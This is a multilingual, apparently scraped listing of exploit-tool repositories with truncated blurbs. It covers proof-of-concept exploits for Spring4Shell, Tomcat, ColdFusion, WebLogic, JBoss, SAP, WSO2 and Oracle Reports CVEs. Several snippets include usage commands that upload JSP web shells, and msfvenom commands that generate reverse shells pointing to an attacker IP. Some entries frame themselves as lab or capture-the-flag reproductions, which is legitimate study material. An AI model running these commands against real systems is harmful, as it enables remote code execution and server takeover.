pwnacle-fusion

pwnacle-fusion Automatisierter Exploit für Oracle Reports, CVE-2012-3153 / CVE-2012-3152 Credits an @misssudo für die Veröffentlichung Verwendung: ./pwnacle.rb targeturl payloadurl Dieser Exploit nutzt beide CVEs aus, um eine .jsp-Shell von Ihrer payloadurl hochzuladen, die dann unter...

Fast-CVE-2022-22965

靶机 root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Die Reverse-Shell basiert im Wesentlichen auf MSFvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Nach der URL-Kodierung der JSP-Datei verwenden Sie root@kitploi...

jboss-autopwn

jboss-autopwn JBoss Autopwn come presentato al BlackHat Europe 2010 - questa versione incorpora la CVE-2010-0738, la vulnerabilità di bypass dell'autenticazione JBoss tramite manipolazione del verbo VERB, scoperta da Minded Security C. Papathanasiou 2010 INTRODUZIONE Questo script JBoss implement...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 Spring-Core-Massenscan-Skript Hinweis: Dieses Skript ist nur für Lernzwecke bestimmt. Jegliche illegale Nutzung ist untersagt. Bei böswilligem Missbrauch oder illegaler Verwendung übernehme ich keine Verantwortung!!! Verwendung: python3 CVE-2022-22965-POC.py...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC per CVE-2022-22965 con Spring Boot versione 2.6.5 🚀 Per iniziare 1. Scarica il codice di distribuzione da https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip e decomprimilo. 2. Esegui docker compose up --build per creare e avviare...

spring4shell-CVE-2022-22965

Semplice POC di Spring4Shell Controlla se l'endpoint è vulnerabile python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Sfrutta l'endpoint vulnerabile python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Esegui un comando...

CVE-2024-50379-POC

CVE-2024-50379-POC Dieses Repository enthält ein Python-Skript zur Ausnutzung von CVE-2024-50379 , einer Sicherheitslücke, die es Angreifern ermöglicht, eine JSP-Shell auf einen verwundbaren Server hochzuladen und beliebige Befehle remote auszuführen. Dieser Exploit ist besonders nützlich, wenn d...

CVE-2018-15961

CVE-2018-15961 - RCE no Adobe ColdFusion Este repositório contém o código do meu exploit para a vulnerabilidade RCE no Adobe ColdFusion 2021. Descrição do Exploit O exploit envia uma requisição POST contendo um reverse shell JSP para /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

Spring4Shell

Spring RCE CVE-2022-22965 Ambiente di vulnerabilità Informazioni sull'ambiente springboot jdk11 tomcat9.0.30 payload Configurazione dell'intestazione della richiesta root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", Dati d...

CVE-2024-50379

CVE-2024-50379 Prova di Concetto PoC Questa repository contiene uno script di prova di concetto PoC per sfruttare CVE-2024-50379 , una vulnerabilità in Apache Tomcat. La vulnerabilità è una condizione di race condition Time-of-Check Time-of-Use TOCTOU che può portare all'esecuzione di codice remo...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2018-2628

CVE-2018-2628 Reproduktion der WebLogic-Deserialisierungsschwachstelle weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | ...

CVE-2024-50379

手动利用麻烦，搓一个exp。。 Utilizzo: shell.jsp è il file shell, ggsl.jsp è il nome/percorso salvato sul server di destinazione ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp Dichiarazione di esonero di responsabilità Questo strumento è destinato esclusivamente ad attività di sicurezz...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit पर आधारित https://cvedetails.com/cve/CVE-2009-2265/ इस विशेष CVE के लिए मैंने python स्क्रिप्ट बनाने का मुख्य कारण यह था कि जब मैंने HTB मशीन Arctic को हल करने का प्रयास किया तो उसी का metasploit संस्करण मेरे लिए काम नहीं करता था। साथ ही कुछ python अभ्यास करन...

spring4shell-poc

Spring4Shell POC Descrizione della vulnerabilità: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Costruzione del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Passaggi per compilare/eseguire Testato con JDK 11.0.14, Spring Boot 2.6.5 e Apache Tomcat 9.0.6...

CVE-2009-2265

Version: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Beispiel :...

CVE-2018-2380

CVE-2018-2380 Pontuação Base CVSS v3: 6.6/10 PoC de Execução Remota de Comandos via injeção de log no SAP NetWeaver AS JAVA CRM Exemplo de uso do script root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true...

CVE-2022-29464

WSO2 Beliebiger Dateiupload zu Remote-Befehlsausführung RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Beispiel root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

Spring4Shell-POC

Spring4Shell-POC Processo di riproduzione locale della vulnerabilità Spring4Shell Preparazione dell'ambiente Ambiente docker, docker-compose Pacchettizzazione con mvn, genera ./target/ROOT.warshell mvn package root@kitploit: Avviare il servizioshell docker-compose up -d Ferma il servizioshell...